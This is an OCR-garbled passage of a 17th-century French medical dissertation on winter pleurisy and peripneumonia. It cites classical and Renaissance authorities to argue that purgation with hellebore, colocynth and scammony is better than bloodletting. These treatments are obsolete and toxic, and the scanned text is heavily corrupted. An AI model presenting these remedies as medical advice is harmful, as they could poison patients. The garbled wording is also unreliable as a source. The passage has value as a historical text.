lls Ataihemattcorum ^uorundam impe-
rttorum , coslum defcendife & efe jatn
propius terra , nefcio ^uot mdlihus fta-
diorum. ZJc de albo helleboro non dicam,
cpms hellebonfmo , athiol, Itb. 3>
EptFiol. qmd(juam male dixn , fi mode
dextre uteremr } Qt^ts de oxymehte hel-
leborato fullani majore & minore y
^uod etiam album recipit , unepuam du-
btcavtt ? Ego in pleuritico pene depofito j i
Miraculum V I d I, & videre una
mecun*
PeripneHmoMies d’ffyver. 109
mecttm ahj , expertmentHn^
^efneri magnepere Uudaxmt. jQmd
lyuod Maritanus Sjrupum rofarnm fo'^
ImtvHm , vtgorat helUboro mgro ? Fa¬
lun nmirum indUare vir magnus > qui
fit verus-ufus heUtbor. etiam' purgandi
grattd J At ignaVIA uofira fiacit,
ut quod fupru queHusfunt tx Mafia-
rid nan curemus ullos magnos ruorhos »
quia mnquam expedimus ms ex le¬
nient ibus, Fen natura no fir a a Chj^
tniafiris prabiium eracum metalloruntt
ptercurium vita, aha venena minera-
Ita , & non ferat hoc vegetabilt ! Ptut-
on rien dire de plus expr<Js pour autho-
rifer la pratique d’Hippoc. que nous
propofons . & deftendons J
Au refte , il y a fujct de s’eftonner
qu’il n’aic pris envic ^ Hofman , de
voir Sc operer luy mefme des miracles
femblables it ctluy done il confclTe a-
voir efte cefmoin oculairc dans la cure
de ce Pleurecique dtfefpere , faite par
I’ufage de rHelIcbore. Son compatrio-
le Rulandus, en rapporte plus de cent
exemplcs dans fes Ceiituries} Mais il fs'
fervoit de l’antimoine,&celane plaifoic
pas iHofraan.Pour moy j’«y veu ft foa-
no Dijfertatton furies
rent ce mefme miracle dcpuis un an &
demy > qu ’4 mon elgard il commence
d’en perdre Ic nom- Jc donneray ^ la
fin de Cette Diflertation , les principa-
les obfervations que j’ay faites fur cet-
te roatiere . & perfonne ne pourra
douter dc leur verite, Thiftoire en
eftant encore fort recente , & les nonis
de ceux qui ont efte gueris fort con-
mis. J'afleureray par avance It Le-
dteur j que j’ay tres fouvent efte fur-
pris de voir avec quelle facilite,
promptitude, & feurete , ces maladies
qui m’avoient tofijours paru fi dange-
reufes,& fi farouches , que je trem-
blois lorsque j’eftois appelle pour les
traiter , cedent &c obei'lTent aux reme-
des , & £l la methode que j’ay propo-
fee. Gal. au V. de fanit- luend. dit
qu’il avoir coutume de defcouvrir cc
qu’il cherclioit par raifon , & dc Ic
confirmer par experience ; Ergo i^uod
in medendi arte ufurpare foleo , id nunc
dicam ,facilUme quidem quod qu^ri-
tur ratiocmatio invenit ,fidem vero ejus
expertentia comprelfat. J’ay marche
dans cette recherche par uii chemin
diredement oppofe ,. car j’ay trou-
Teripveumonies d’Hjver. li*
par I’experience , ce que je tafche
de confirmer par raifon & par au¬
thority.
La plus legitime & la plus univer-
fellement reconnue , eft celle d’Hipp.
& fans m’eftendre davantage fur fes
loiiangesj Ton peut dire qu’il n’y a
point de Science qui doivc tant ^ fon
Prince > que la M^decine doit ^ ce
grandHomrae,qui a ramalTe&reuny en
un corps, tout ce que fes Predecefleurs
avoient figu de bon 5 & de fon chef, a
invente beaucoup de chofes tres-utiles
& originales ; enforte que s’il avoic
efte feconde , ou plutoft n’cuft pas efte
corrompu par ceux qui Pont fuivi,
comme le rccounoift Gal. au IL Livre
de la Method, Chap. 6. ll y a long-,
temps que la Medecine ne feroit plus
cn minorite. Nous avons deja city
plufieurs paftages de cet excellent Au¬
teur, & ne finirions de long-temps fi
nous voulions les allegucr tous. li
■vaut mieux juftifier & eftablir I’autho-
rite des Livres dont ils font tirez , ef-
claircilTant cn cet cndroit une difficul¬
ty (^ue Ml ffieurs mes Confreres ont fe-
xnee dans le monde, pour eluder la
Kz
ii z -rt^tionfur hs
force des preuves quc j’eii ay tirees en
faveur de ma Dodlrjne.
Ces Meffieurs difentj qtie les Liv,
de moth. & de intern, af ellton. dont je
me fuis fervi, nc foi t pas d’Hipp.
& ne feront pas , fans dome meilleur
quartier au Liv. des Coaques, qui me
fournit iin texte fi fort & fi evident. |
Et pour le prouver ils alleguent Mer¬
curial , qui dans fa Cenfure des Livres I
d’Hippocr. met ceux-cy dans la troifi^-
me Claife ^ dans laquelle comme il |
Texplique luy-mefme j font compris
les Livres» qui n’ont eftd ny compofez. i
ny publiez par Hippocr- mais par fes
Enfans , ou par fes Difciples , & no-
tamment par Polybe ie plus Illuftrc de
tons , & fon Gendre , lelon les Dog-
nies de leur Maiftre , parmy lefquels
ils ont laillc couler quelque chofe d’ef-
tranger & de baftard.
Ils difent encore qiie Salius Divcr-
fus , feul Commentateur des IV. Li¬
vres de morb. ne reconnoift que Ic
premier pour legitime, & douce de
I’Auteur de tous les autres; & lors
qu’il explique le tex. 34, du III- Liv.
par nous allegu^ cy-defl'us > ou TAu-
TertpneuTnomes d'Hjver. iij;
teur ordonne dans la Pcripneumonie ,
rHellebore > le Thapfia , I’Elaterium >
Salius en cct endroit luy manque de
garantic , & foutient quc cettc opinion
n’eft pas reccvable , parce q»e ct genre
de medictiment , dans nofire tern pj eji
incommode pottr la <j»alite , hers de
faifon , & crop violent. Et pour le Liv.
des affe£l. intern, le raefme Mercurial
dtt qu’il trouve a propos de le mette an
nombre de ceux qui n’ont efte ny pu-
bliez ny achevez par Hippocr. Cepen-
dant il avoue qu’il a le gouft de la bon*
ne antiquite , & que peuc- eftre il a cft 4
mis en lumiere. par les Auteurs qui
Tone fuivy, & y ont fait quelque chan-
gement. Et qu’enfin pour les Coaques,
Ton fcait que Galien en plufieurs cn-
droits a dit, qu’ils ne font pas d-Hipp.
& font pleines de fautes. Vdila cette
fameule obje( 9 :ion tant profnee par
mcsAdvcrlaires, qui fe fentans preflez
par I s textes formcls , font reduits si
dire.quc lesLivres ne lout pas Cano-
niqncs.
Pour y repondre , je dis premiere-
itient j que Tauthorit^ de Mercurial
n eft pas fouveraine eiiMedecine,&
li4 7>lftrtatfonCur tes
qu’on peut deroger ^ /a cenfure » fans
courre rifque d’aucune autre. Mertu-
rial (.ftoit an grand homme ^ la verite»
mais il n’eftoit pas infallible; beau-
coup de gens fort )udicieux Ic font paf-
fer pour un de ces Critiques delicats*
& faperbamnt aurium ^ qui font les
degouftez pour eftre eftimez connoif-
feurs, & font valoir la conjedfure,
jufques It s’eftablif par ce rooyen un
Empire imaginaire , qui leur donnc
droit de decider des chofes If s .plus ef-
lojgnees du comerce & de la memoire
des hommes. En effet, cet Auteur
met dans latroifieme Clalle j des Li*
vres qui font conftamment d’Hippocr.
entr’^autres celuy de morb.' facr. qui
felon Gal. au I. Comment, fur le Pro-
gnoft , eft tres-legitime. Deplus , Ero-
tian &C Zuingtrus qui ont ^precede
[Mercurial, n’ont jamaispenfe a cette
cenfure, & Foefius qui eft venu apres
jie la pas fuivie : trois Auteurs qui
fgavoient THippocrafe auffi bien &
mieuxque Mercurial.
Je dis cn fecond lieu , que quand-je
me foumettrois a fon authorite, Ton
0 ,‘ea pourroiHirer aucune confequen-
Perifneumonhs A’Jfyver. ny
ce qui piift infirtner, mes prcuves; puis
quM met les Livres en quelHon dans
la troiliemcClaffc, Uqtielle on pomrott,
dtt-il, confondrt avec la feconde,Jt nous
»t vottlions garder C or dr e ^ue nous avont
efiahly , & cette feconde > commc il
I’explique luy-mefme, eomprend les
Livres , gut out efie efcrtts par Utppocr.
four luy ftrvir de memoires wmAttjtetw 5
ou dit moins compofeK. fur fa ‘DoQnne »
parThefalus fen £iU,oa par Polybe fon
Difciple, qui ne s’ciartoient jamais de
la Doftrinc de leur Maiftre > cprome
Galien. I'attefte au I. Commentaire ,
fur le Liv. de uatur. human, tex. i.
Leurs livres done ne doivenc pas avoir
moins d’auihorit^ que ceux d’Hippocr.
mefme.
5 Galien citant fous le nom d’PIippi
le I. demorb. & en rapportant les pre¬
miers mots, femble-t-il pas reconnoi¬
tre Ics autres ? puifque le premier a
Telation neceflaire a tous ceux qui le
fuivfnt- Et Mercurial mefme ne de-
meure-t-il pas d’accord dans fa cenfa-
re, que tous les qiiatre font citez fou-
vent par Cornelius Celfus , & par Caf:-
lius Aurelianusjfous le nom d’Hippoc.
'll 6 - Dtjfertatlon fur Us ''
II dit h. peu pres la mefme chofe da
Liv. des affe£i. intern, qui eft auffi at-
tribue par Gal-a -Hippocr. & marque
par fes premiers mots au 27. Aphor.
du Liv. 6. & llluftre par Monfieut
Martin d'un tres beau Cemmentaire.
Dans la Preface duquel il prouve que
ce Liv. eft d’Hippocr. comme les Coa-. i
ques font authorifees par les travaux 1
de I’llluftre Monfieur Duret, qui dans
leur explication, prend fouvent le par¬
ty du texte coinre Galien ; & qui com¬
me nous avons dit, appelle cet Ouvra-
ge admirable , foit qu’il foit d’Hippo.
ou des ProfelTeurs de TEfcole de Cos,
ainfi que le croit le mefme Monfieur
Duret. En faut-il davantage pour les
rendre autentiques, Certainement, fi
I\)n donne trop de ereance aux Criti¬
ques , TEfciiture Sainte ne fera pas en
feuretc i Sc dans noftre Profllion, ils j
ne pardonneront pas aux Aphorifmes,
& porteront fi loin leur icrupules,
qu’il ne nous reftera pas un Ouvrage
d’un Auteur a (feu re-.
Pour cc qui eft de Salius Dtverfus,
qui dans I’imerpretation qu’il a eritre-
prife d’un Livre , fe fait honneur de le
^ertpneumon 'tes d’Hyver. 117
contrcdire , 5 c quite la Dodlrine ex-
prcflc de fon Auteur pour debiter la
iienncj que pouvons-nous luy r^pon-
dre ? fi non que nous ne croyons pas
qu’il y ait ^ deliberer longtcmps, en«
tre le texte manifefte & la glofe-. Ce
n’cft pas line petite entreprife , que
cclle de vouloir commenter Hippocr.
perfonne n’y avoir reiiffi avant Galicn,
comme il le dit luy-mcfme au y.de
la Method. Chap. 2. Et plufieurs » fe¬
lon .Tioy» plus habiles que Salius Di«
verfus, y ont efchoUe dtpuis: cntr’au-
tres I'llluftre & Eloquenc Valeriola ,
qui a voulu expliquer le Liv. de fiaitb.
fans I’cntendre; c’eft pourquoy Ion
voit qu’il tombe a toute heure en con-
teftation avec fon texte , qui eft d’une
Philolbphie fi fubiime , que le Com-
mentateur n’y peut atteindre. Il n’y a
queles Aigles qui puillent regarder le
Solcilj & Galien roefme qui en eftoit
une, & des plus penetrances j eft con-
traint quelquefois de baifler la paupie-
re , 5 c d'accufer Hip. d’une obfeuritc
qui fouvent n’eft que chez luy.
Maisjene vcux point prevenir da-
yantage les objcdions que Ton me
118 Hi^ertatlon fur les
peuc faire , parce que je pretcns quo
mi Thsfe foit foucenue publiquement-
C’eft pourquoy des deux fortes 'dc
preuves qu’eftablit Aridote dans lei.
^ 3. de fes Rhetoriques , done la pre¬
miere confide h prouver fon opinion i
mSu'uh/^ Aixnw’i- j Tautre a reffiter le«
objedions de fon adverfaire,
tMfxTiKovi bien que ce grand Maiftre
confeille de fe ftrvir d abord de la fe-
conde, lors que ion a affaire centre
plufieurs fortes de parties,
>t*7}x de peur> dh
Petrus Vidlorius dans Ic Comment,
que Ic credit & la multitude de vos en-
n«mis , ne donnent d’abord roauvaife
opinion de vodre caufe .* je me rctran-
che pourtant ^ la premiere , dans cette
Diflertation , & me referve a la fecon-
dcjlors que Meffieurs IcsCenfeurs^
me propoferont leurs difEculcez dans
Jes formes de TEfcole ; aufquelles jc
m’aflujettis des ^ prefent ; puifqu’on a
coutumc dans les Adtes de propofer fa
Thefe , la prouver enfuife , Sc enfin
repondre aux objedfions. Dans mes
preuves j’emploie principalement I’au-
ihorite ; Sc cette Dillertacion fera pref-
*Per‘tpnenmonies d’Hyver. 119
quctoute de Medecine pofi'.ive ; bien
quc Galicnen plufieurs endroics, fem-
ble n’approuver pas cette roaniere dc
difpute : Puiiqne dans le Livre> jQued
«nmi mores , il declare qu’il ne croit
pas mcfme Hippocr. comme tefmoin >
mais comme demonftrateur. Et au IV.
de dtgnofcend. pnlfib. Chap-3. lurpe
efi, dit-il fori adverfaire , qui luy ci-
toit Herophilus , fttbfelha re-
fiihus certare , fi demonfirationem affer-
te poses mdiemus te libemer. Mais jc
fuis dans une obligation particuliere
d’cn ufer ainfi , car je prctens faire
connoiftre que la Dorfirine de ma The-
fe n’eft point nouvelle , ny contraire ^ ■
celle des bons Auteurs, que I’Ecole re-
connoift pour fes Maiftres, & que I’op-
pofition domes Cenfeurs , ne precede
que da penchant fi dangereux , -qu’on
a dc fuivre les opinions courantes ,
fans cn examiner aflez les vericablcs
fondements : Cependant, ces Mcf-
fieurs faifants profeffion , & mefme
gloire de fuivre exadbement Hippocr.
& Gal. ils font obligcz de me faire va-
loir tons les paCfages que Ton en peut
alleguer contr’eux ; ce font argnmenta
ad homtnem , dont I’Ecole fait fi grand
11 o 'Dijf ;rtatlon fur Us
cas, c’eft les battrc de leurs propres ar.
mes. Ltbrorum fervi fiunt ^ui alicul
feClut addiSli funt, ditle melme Gal.
au VI desEpidem. Se< 3 :. z, tex. zj.
Cec Auteur qui doit tenir le fecond
rang dans laMedecine, mais enforte
qu’entre Hippocr. & luy , il y ait dix
ou douze places v aides; Lengo fed pro-,
'ximtes tntervaUo , m’a dfija fourny plu-.
fijurs PifTages , dans lelquels il parol^
combien il eftimoit les medicaments
purgatifs , par lefquels il faifoit ordi-
nairement, une infinite de belles Cu¬
res , dans toutes fortes de maladies;
ce qui luy awoit 3 entr’autres chofes,
accir^ la haine des Mcdecins de Rome,
qui -en ignoroient Tufage legitime
commeil le ditluy-mefme au dernier
Chap, du Liv. de purgant. medteam-
facult. Mais j’en- produiray encore
deux qui feront connoiftre ^ toutc per-
fimne , non prevenue, fes veritables
fentimens, fur la purgation qui fe peat
&doit faire dans le commencement de
certaines inflammations.Le premiereft
duLiv. de curand. rattan, per vert. feti.
Chap. 7. vers la fin , cii il parle ainfi :
^^hus pars qua ptam gravUer icla eji,
PerlfmeHmonles ill
mitt utcmqne altter tncipiemem hahet
phUgmonem, earn fi magnamfort fujpi-
cami*r, Am fm^Atorio medicamtne ex-
hibtto , Am vena incifd, prom mmirum
Altermn , altero magis convenire jadice^
ntm > cfirare oportet. ll eft done <ic
grandcs inflammations , lefquelles
dans leur commencement, fe doivenc
trailer par la purgation.
L'autre PafTage de Gal. eft tire da
Comment. 6. des Aphor. tex.j. oi^
parlant des douleurs de cofte & de
poidrinedl dit,que fi elles font grades,
il ne fe pent pas faire qu’elle‘s foienc
fans peril i & que pour lors dies one
befoin d’une cure plus exadle; & que
filadouleureft vers la clavicule , il
faut fe fervir de la feignee ; & fi die
defeend vers le diaphragme. il faut
employer la purgation : Souferivant
entiercment ^ la Doiftrine du Liv. de
vi£t. ration, in acm. tex. lo. & i£. cy-
■delTus allegues.
Mais de tons les Paflages de Gal.
mon avis , le plus favorable
i ma Thefe , eft cdu'y que Mef-
fieurs les Ceiifeurs m’objectcront fans
douce le plus fortemc-nt; a f^avoit le
L
iii D't^ertat'ton fm Its
Comment, fur ce dernier textc ii. du
II. At viU. in acttt. dans lequcl Hippo,
ayant enfeigne, que dans les pleurc"
lies infcrieures, il faut purger le yen*
tre par rHelleborc noir & le Peplium,
farce q»e ces remtdes afpaifent la don-
lenr 5 qu’on fe peut fervir d’aucres
encore , qui ont la vertu de purger ,
mats ces denx , dit - il, font Its rneil»
lears de ceux qae fay vem, & ccnnits.
Gal. dans le
Comment, die ^ la veritc , qu’il ne
faut pas toujours fe fervir des purgatifs
dans la pleurcfie , & remet en memoi-
re I’Aplior. qui die qu’il faut purger
rarement dans les maladies aignes : &
kind quand la pleurefie fera avec fidvre
tres-violente , il faut dvicer la purga*
tion , & fe fervir plucoft de la feignee ,
quand mefme la douleur defeendroit
vers rhypoebondre. Car quey qae l»
feignee i 6\t-\\ > foil demoindre tttilt-
te, ells eB fonrtant dans ce cas flKS
afeuree que la purgation. Jldais lors
que la ftewe ne fera pas •violeme ■, &
que z>ous connoiflrex, la nature parti-
culiere du maCade , pour lors tourneK.-
vous du cofie des purgatifs •, & donntt.
r
Tenpyiemonles d'Hjver. izj
tut etux qa Hippocrate erdonne , ott
qttelqms autns [emhUhles, cgmme la
H/eu avee la ColoqHjmhe, qui efi pre-
paree avec I’Hellebore fans Scammo-
ttee prenant garde fur tom , c»t de
pHrger trap , on de ne pnrger paint
afeK.y parce qne I'un & I’amre appor-
tedegrands inconveniens dans les ma-
dies aigu'es.
De ce Paflage, j’infere premiere-
Jtnent, que les purgatifs font abfolur
ment parlant, plus utilts dans la plcu-
lefie que la feignee,laquclle il die eftre
mnes'd&t a. Que fi les purgatifs
Xie font pas li afleurez, il en faut attri-
buer la eaufe , non pas a la nature de
la maladie, tnais a la violence de I9
fi^vre , comme nous I’avons enfeign^
cy-delTus. Puis done que dans les com¬
mencements de la Peripneumonie
d’Hyver dont nous parlous , elle n’eft
prefque jamais aigue , fon remede Ic
plus convenable, du plus grand fe-
cours j & par confequent j 3 ^ytusni^f
eft dans la Doftrinc de Galien, la pur¬
gation , qui ne doit eftre ny trop forte
nytrop foible, parce qu’il y a peril
. dans I'une & dans I’autre, N’eft-ce pas
La
IZ4 Dljfertation fur les
noftfe Do( 3 rine.Ec s’il eftoic poflIbFe
de nous objeclcr d’autres PaUages de
Galien , n’avons-nous pas droit de Its
cxpliquer par ceux-cy , on bien d'en
grofllr le Livre,,que Valefius a.compo-
ic, de locis fugnanubm afnd !
Examinons les Auteurs de la fecon-
de & troiEeme Clafle , & defcendons
jufques aux modernes. Paul jtginete ,
qui eft ft fort attache! la Dodrinc de
Galien , qu’il paflc pour fon finge , au
if). Chap, du Liv. 3. lors qu’il traitc
de la cure des nraladies de poidlrine y
comme I’Orthopntee , I’Afthme, &
routes fortes de difficoltcz de refpireri
outre les reroedes deterfifs & atte-
nuants, leur ordonne la Hiere ^ & une
purgation sontinuellc* par haut & par
oas j avec des medicaments tres-forts,
Furgatio cominem ex validijpmx medi-
camentis petita. Et dans le Chap- fui-
vant, auquel tl traite de la Peripneu-
monie , tl la divife ^ peu pres comme
fait Duret, en eelle qui fuccede aux
autres maladies,ou qui vient des diftil-
lacions fur le poulmon , ce qui revient
au prolapffii eatarrhi i dans laquelle ,
dit-il, fangmnis detraUk vitmda tfit
Ttnfneumoniti^Hjvit. ii/
&'en celle dans laquelle , iffn infiant-
matig ox\go efi , qu bicn qui
naift , ah org^fmo fangmm , qui re-
qnierc ja feigiice. ll ,cft done des peri-
pneupqnies dans lefquejles la feignee
doit palier pour remede principal j it
en eft d’autres dans lefquelles die eft
dangercufe , & fe doit evitcr : C’eft
la dpdrine exprefle d’Htpp. au 6. des
Epid. Sed. j. tex dernier : Jlfant ti-
rer dt* fang dans qttelqties-uns \d ans Its
antres , il ntfi raifonnahle i & dans
cettx ejni x^fichent le fang , I’cmfefcht-
merit de La [eLgnee,efi la fatfon de I’annlp
c’eft ^ dire j I’Hyver , la douletir dg
cofte, ^ la hiU.
Diodes chez Cselius Aurelian.
lih, z. acHtgr- cap- 20. prefcrit les me-
dic)»ments, purgatifs dans la cure d'es
Pleuretiques : & Praxagpras chez ,1c
niefme au Chap. zi. vput qu’on les
purge lors qu’il y a beaueoup d'hu-
igeurs dans IcsveineSi avee 1‘helle.-
bpre , ^ au Chap. zq. deux llluftrcs
Jyledecins, fe feryent de Laveraents
acres & purgatifs, dans la Peripneu^
monie, qui fe guerit felon Aecius , ter
trah. 2. Seti. 4 . Chap. 6 6. par ijns
116 Dijfirteuonfur la
grande diarrhee d’hnmeurs bilieufe?,
quand die paroifl: dans le commence-
itient de la maladic, Mais je garde
poor k dernier , un Paflage de cet
excellent Auteur, pour/ clorre cette
Differtacion, & en faire,comme on dit>
la bonne boucbe ; Venons aux autrcs.
Alexandre Trallian, an commen¬
cement du VI. Liv. Chap. i. diftin-
gue d’abord entre la pleurelie verita¬
ble , & la douleur de coftd Nen omnif
lateris dolor plettritis nora'tnatur. Puis
venant a la cure , dit, qne-fi rhumeur
qui fait la maladre eft du fang, il faut
•venir d’abord a lafeignee , princfpale-
ment fi la doul&ur monte vers les cla-
vicules : mars quc fi rien de cecy ne pa-'
roift , il faut purger , Fr dhwljfmfts
fiippocr. rtos do.cmt. Et puis ajoute,
frensgarde done de feigner temeraire-
ment 1 cemme I’on aaccoiiti/ime de faire.
Et encore plus expi;e 0 ement un peu
plus bas , Vnlgares atitem wedtci , cet-
"Vent ne pletiritieum etlttjtieindo pHtgent i
fid fangainis autem mtjftonem tan^tteint
incnlpettam &tKtioretn confttgiHnt, Les
Jidedecins d» comman , dit Trallian ,
rtofent pttrger dans let plettrefie, & f
‘Teripnetimontes d’Hjver. iij
totirnenp du. cope de la feignie, I’epimant
plM fettre & exempte de reproche. Voil^
le Mcdicus ■jvxd'i, dont Meflicurs les
CenfeUrs fe font tant tftomaquez dans
ma Thefe bien jiiftifie , auffi bien que
ce que nous avons dit cy-delTus, que''
Tabus de la fcignee dans les maladies
de poidrine , s'eftoic introduk plutoft
pour excufet les Medccins, & les met-
tre ^ couverc j que pour guerir les ma-
lades. Le mefme Auteur fnr la fin du
mefme Liv- Chap, dernierj ouil traite
de la purgation des pleurctiques. II
fant purgtr le ventre, non feulement par
des clj^eres , mats encore par des medii-
eaments efficaces : fi le corps rj? bilieux ,
far la fcamwsnee , qm neli pas fi ihast-.
de qttt les atttrespmgatifs\ s^il efl pittii^
teux , il fan dr a fe fervir des remedes
prefcrits par le tres divin Wippeerate ',. a
fpavoir le PepUum & I’HelUbere noir,
Avicenne au Liv. ^.fen. so. traH. t.
Chap. 40. parlant dcs maladies de
poiclrine > dit qne fi la matiere eli.abonr
dame, la purgation efl neeefiaire, pour
laqnelle il ordonne le Toljpode , le Cots.,
combre fattvage , la Pulpe de Colo,-
qttjnthe , & un pcu plus basj lors que la
ii8 Dljfenation fur lei
waladle efi forte, & qtttl y a de la d'i§.-
culte y I’hellebore blanc , djt-il, eft d’un
grand fecours fonrfair^'vomir , & fort
fear dans let maladies de poitlrine, &
ilfaat le donner fans ancune trainee. Et
dans le Traite 4 ' Chap. I traitant de
lapleurefiej il die, comme me chofe
tres-remarquabley & qneplnfieurs n ont
fas comprts , quil efi des ttimenrs chan-
des , qm viennent depituite , mats qu ti¬
les ne font pas veritablement aignes ,
eomme celles qtii precedent dn fang &
de la bile, Il die encoie,qtte laplenrefie.
(fp la penpnenmonle , precedent & d’a-
voir ben trap d’ean , & d’avoir ben trap
de vin , & dn field qni referre , dft
chaud qnl fate bonillir les hnnuenrs t
dans les veines , CS' dans I'Viyvtr , &
dans l^Efte ; & ce qui eft eneor confi-
derable , qae ces maladies font monrir
qnelqnesfois , par la violence de lenr
fpnptbmes , e’eft h dire de la fievre,
qnelqnesfois , par la fettle abondanct
de la mature qni fnffoqne. Ee vers U
fin du mefme Chap. 1 1 die , qne cef
maladies f engendrent tres - fouvent en
Hyver , & dans le commencement dn
Ermtemps, qne fonvent la plenrefie y
Peripaeuntomes i^ffyver-
& la peripnenmonie, proeedent de I’ti-
fage des vtandes^ojjieres cytti epaififient
le/Afig. Et munottes efi cau/a Pleurt-
Jts & Peripneumonia , ajfumptio ciha-
rum grojfi nmrimenti ingrofiantis fa»-
guinem ficm alcannabit ( ce font nos
Choux-FIeurs , felon I'lnterprete des
noms Arabes ) eyuare expeditur ad
partes mamilla & lateris ; cura ejtu
:eB fubtiliatio materia cum "Balnea &
exjmel j & excnfatur per hac a Phle-
hotomid. N’enfcignons - nous pas la
mefnje DodJrine ?
II y a longtemps que des Auteurs
celcbres & diligents , ont obferve les
Pleurefies & Peripncnmonies d’Hy-
ver, Epidemiques j parcilles h celles
qui font le fujet de cette Diflertation.
Le faineuxCuido de Cauliaco.Dpdl- z.
Trait, z. Chap j. de fa Chinirgie ,
les a remarquees en I’An 1348. avec
des fymptomes quI paroiflotent d’uns
malignite, & d’une peftilenee extraor¬
dinaire. JeanVVierus dans fon'Liv.
des Obfexvat. Rares , les a defcrites
tres-exadlement en I’An i j 6 en-
tterement fembkbles ^ celles qui pa-
rurent I’An palK 1684. apres nn
Ijo ^tjfertation fur let
Hyver tout pareih qui dura, plus de
deux mois, die cet Auteur, plus rude
qu’on ne I’avoic feftti de me moire
d’Horarae. Il deferit en ce temps des
fluxions de poidlrine telles que nous
les avons veues , 4 vecfievre centime t
dmleur de eojie , difficulte de reffirer,
erachats fanglants , dtanhees, mort
dans le feptteme pm , & tous les au-
tres fymptomes dont nous avons fait
mention dans Ic commencement de
cet Ouvrage , avant que nous euffions
decouvert le PalTage de VVierus. Et
puis lors qu’il parle de leur curation,
il ajoute : ’I^am cum in plemttidepra--
cipmin & evacuandi, & detivanii
ntateriam merbtficam inflritmentnm ,
fuggerat vena feilio , hanc tamtn hU
Valde noxtam extiti^e deprchenfnm
eft, &c. Et plus bas, felicem experm
fum fucccfitm , phlehotomiam , his ^ui-
dem interdicendo y pattcis vero fuaden-
do. Ce qu'il y a de merveillcux, eft
que Rembertus Dodonaeus , in tibeO.
obfervat. A/edicin. Chap ai- deferit
les mefmes fluxions des Annees
Sc i 6 6 y. 8 i pour la curation, il fait
line remarque toute conrraire touchant
PerifneHtnoKtes d'Hyver. xji
la fcigtiSe j Qmmo, am fdio, ant
feptimo , ad fUmnwm e£iavo mortfti
emnes fmt latert dolemes , quibus vena
fedio pratermijfa t am tempefttve non
fabla. qmbmfangnis vel prmo t
vel altero die detrabim , evafermt »
quarto am quinto die fanitati refiitmi,
•Qf^rto vero ant quinta die fangui-
nent detraxijfe nihil profmt , morbo
confirmato. Cqtte diverfite d’opinions
qiie nous reconnoiffons de bonne foy ,
he nous eftonne pas , nous I^avons que
^rout quifque ajfedm eft ita judicat ,
& Ton pent voir par!^ de quelle diflfi-
culte eft cette Queftion , & combien
il eft important au Public de Teclak-
cir unc bonne fois.
Ce partage d’opiriions differentes
fe peut vuidcr , tant par cc 'que nous
avons deja enfeignd, que par le fcn-
timent & le tenioignage d’aucres ob-
Tervateurs non moins habilcs Sc dili-
^cnts que Dodon^us. qui dans ee ren¬
contre n’cft pas fi certain que I’Oracle
de fon raefmc nora. facob. Oethatu
Itb, abferv. prepriar. eit^ par Schen-
kius p. 7/a. defcrit ces mefmes ma¬
ladies j qu'il dit avoir cft^ Epidcini>
*3* ^ifertatUn fur tes
qaes dans le Printemps de I’Aiinee
ijSj. il y a cent ^ns juftement, dont
le caradere, dit-il, eftoit. in prima
invafione horror cunt intenfa fehre ^
interdam adjmgehatur ftiffocAtmU
fjmpcoma , cjHale in peripneumonia cer-
mtHr> Interdam tllud ne aderat ^ai-
dem ,fed pleramqae do lores, pangentes
& vellicantes , m eapite , in fcapulis,
in manibu-s, pedtbus , fape etiam
in lateribus , & peUore Jentithan-
tar. Qm tamen/iSd vend inreliqaii
tnembris evanefeebant, remanebant veto
in lateribus, vel circa os peBints, occur
panics etiam fuhm iep-omachum & by
pochaniria , cam maxima angujiid , ^
comprepione earam partiam , accedebat
his non rarovomitus, 0 'c. Un pn.i plus
bas. in his difficaltatibfts , neque vena
feBiont , neqae levtbtu evacaatiombm,
necjne fcaripcatiomhm , ep profcBam.',
fed plarimi tandem ftiffocationts accefr
pone, ^ vitalis roboris repentinb lapsu,
vel quarto vel fexto die moriebantnr.
Et encore un pen plus bas, Fait verb a
tnultis obfervatum, plures evapfe, qnt'
bus vena feBa nonfniffeni, quam quibus
JeBafuerint. Cette decilion n’ctt-e)le
7eri/>»eitmifnies d' ffyver. 13 J
pas exprelle ? Fabritius Bartbole-
tus Tom,/. Chap. 3. Afleare , Sii'f
dintt*rnd praxi ejfe comptnum , omnes
fere q^ttihus vena tanditur, tn maligna
peripneumonia mori', e contra vero pe-
rtculo defungi ^uibtn fanguisnen adi^
tnitur. Cardan. - Ub- de pravif. ex
anni eonfiit. p. 10pi. edit. ISafiUens.
rapporte plufieurs obfervations toil-
tts pareilles fur ces maladies.
Jean Colies deja cite dans fon
Cefmjtor Medicaus y Livre 3. dans
1 -Epiftre, ^ Conciolw, dcfcrit: Fu“
nebrem hiflortsam pleunticam & pen-
pneumonicam , eyua faminas prafettim 3
ob vtrium imbecillitatem , & naturae
jam dffillattonibu's obnoxtas , epide-
mice interfecit, Cette maladie courut
en Italic vers i’Annee iiSoij an rap¬
port de cet Autheur, Propter anni
fiigidam ; humtdam , & nivofam cen-
fiitutionem » & fubfeiyuentem aejuilo-
narem, vulgarii qutdem fed non pe~
fiilens. Colies en a obferve tres-bien
Ics caufes > ^uia turn plmirmtm pi-
Utiia d capite defluemis ad pebiuSy
necnon plurimnm fanguinis pituitojt ,
jam in venis e uto . corpore coacerva-
M
134 Dijfertmott fur les
turn hyemt & alUt'ts tem/mrihits eki-
net ? an turn qma non ex^uifita a hi-
Itofo fangmne , ant pure ortginem dn-
xit, & pleuram invaditt Sed nothi
atejut adnhera mtfcella y memhramm
ag^redi & permeare neqmt , fed po¬
ints regionem lateris, inter mufcnles ,
ttiatn pleuram infiammatorio tumors
adoritur y & in ea fede vitiose putref-
€em recrementitia pimita , & mimma
ktlis y aut fanguis pituitofus ^ erafus
vtfcidus y. & tenax fehrem actitam, &
peracutam accendit, dolorem pungtti~
mm exettat apnlntonem inflammaty &
alia. fymptomata exarata promit , uri-
nfis fuhjugales orobaceo cum fedmen^
to y deltria y inappetentiam, & alui flu-
xum. Et pour ce qui eft dc la cura*
tiprir de cette maladie 5 quay qu’il la
defer!VC aycc une fievre aigufi & tresf
aigoe':, comme. nous avouons qu’ellr
ptuc eftrc quelquefois, cepcndant*
ii vcuc qu’on obferve le precepte
d’Avtcenne , Quiy dit-il , negat, vena
feStionem , dum figna notha & ifU'*
rjx - pleurttidis & pituita elucefcunt ; ea
tnim fanguinis detra^lwnem non atnat.
il en donne les:mcfm6S raifons que
PeripntufHvnies d’Hyver. Hf
nous. Enim vtro fi plenritts & feri-
pneumonia anteeedenter & immediate,
A fttccis fripdis , crafjis, & excre-
mentieijs orittntm , fangninis tvacna^
ttone minimi tgent , neqm pdtcans
praftant •, & frafertim in fami»it &
